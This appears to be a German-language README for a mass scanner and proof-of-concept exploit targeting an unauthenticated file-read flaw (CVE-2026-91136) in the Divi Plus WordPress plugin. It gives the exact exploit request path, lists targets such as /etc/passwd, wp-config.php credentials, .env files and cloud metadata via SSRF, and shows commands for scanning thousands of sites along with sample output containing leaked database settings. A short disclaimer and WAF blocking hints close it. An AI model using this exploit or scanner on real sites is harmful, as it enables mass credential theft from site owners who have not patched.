
Massenscanner und PoC-Exploit für CVE-2026-91136, eine nicht authentifizierte beliebige Dateilese-Schwachstelle im Divi Plus WordPress-Plugin über den REST-Parameter svg_image.
Divi Plus (Elicus) — WordPress-Plugin ≤ 2.4.0 — nicht authentifiziertes beliebiges Dateilese-
über den Parameter svg_image des REST-Namespace elicus/v1.
| Attribut | Details |
|---|---|
| CVE-ID | CVE-2026-91136 |
| Kette | svg_image → file_get_contents() (Fallback wp_remote_get) → JSON html |
| Schweregrad | 🟠 HOCH (CVSS 7.5) |
| Ziel | Divi Plus (Divi Extended / Elicus) |
| Betroffen | ≤ 2.4.0 |
| Behoben | 2.4.1 |
| Erforderliche Authentifizierung | Keine |
SVGAnimatorController::index_permission gibt bedingungslos true zurück, sodass der
Endpunkt /wp-json/elicus/v1/dipl-modules/svg-animator ohne
Authentifizierung erreichbar ist. Die Eingabe svg_image durchläuft lediglich sanitize_text_field()
und esc_html() — die keine Dateisystempfade, den file://-Stream-
Wrapper oder entfernte URLs einschränken — bevor sie an file_get_contents() (mit einem
wp_remote_get()-Fallback) übergeben wird. Der rohe Antworttext wird im JSON-
Feld html zurückgegeben.
GET /wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/etc/passwd
│
▼
index_permission() = true (no auth)
│
▼
svg_image -> sanitize_text_field/esc_html (no path restriction)
│
▼
file_get_contents() -> fallback wp_remote_get()
│
▼
{"html":"root:x:0:0:root:/root:/bin/bash\n..."}
Impact: Lesen von /etc/passwd, wp-config.php (DB-Zugangsdaten + Auth-Salts),
Cloud-Metadaten via SSRF (169.254.169.254 / GCP / Azure / DO / OCI), .env
und jede andere Datei, die der Web-Benutzer lesen kann.
# single target
python CVE-2026-91136.py -u https://target.com
# mass scan
python CVE-2026-91136.py -i targets.txt -t 20 -o results
# interactive (banner -> targets -> threads)
python CVE-2026-91136.py
| Option | Beschreibung |
|---|---|
-u/--url URL | Einzelnes Ziel |
-i/--input FILE | Zieldatei, ein Ziel pro Zeile (#-Kommentare erlaubt) |
-t/--threads N | Threads (wird interaktiv abgefragt, falls weggelassen) |
--timeout N | Anfrage-Timeout (Standard 12) |
-q/--quiet | Nur Treffer anzeigen; der Rest geht an den Inline-Zähler |
-v/--verbose | Eine Zeile pro Ziel anzeigen |
-o/--output FILE | Ergebnisse in JSONL + FILE.hits.txt schreiben |
[OK] https://target.com ✓ 1 ✗ 0
passwd: root:x:0:0:root:/root:/bin/bash
link: https://target.com/wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/etc/passwd
wp-config: /var/www/html/wp-config.php
link: https://target.com/wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/var/www/html/wp-config.php
DB_NAME=wordpress
DB_USER=wp_user
DB_PASSWORD=***
DB_HOST=localhost
✓ OK: 1 ✗ FAIL: 2979 total: 2980
[████░░░░] 42% (1250/2980) ✓ 3 ✗ 1247results.hits.txt — nur bestätigte verwundbare Zielesvg-animator-Endpunktantwort + Version über divi-plus-Assets ?ver=wp-config.php-Erkennung: feste Kandidaten + echte /home/<user>/-Verzeichnisse, geparst aus /etc/passwd├── CVE-2026-91136.py # mass scanner + exploit
├── README.md
├── LICENSE
└── .gitignore
╔══════════════════════════════════════════════════════════════════╗
║ LEGAL DISCLAIMER ║
╠══════════════════════════════════════════════════════════════════╣
║ This tool is provided for EDUCATIONAL and AUTHORIZED ║
║ SECURITY TESTING purposes only. ║
║ Only use on systems you own or have explicit permission. ║
║ The author is NOT responsible for any misuse or damage. ║
╚══════════════════════════════════════════════════════════════════╝
GET/POST /wp-json/elicus/v1/dipl-modules/svg-animator an der WAFsvg_image-Werte, die file://, /etc/ oder Metadaten-IPs enthalten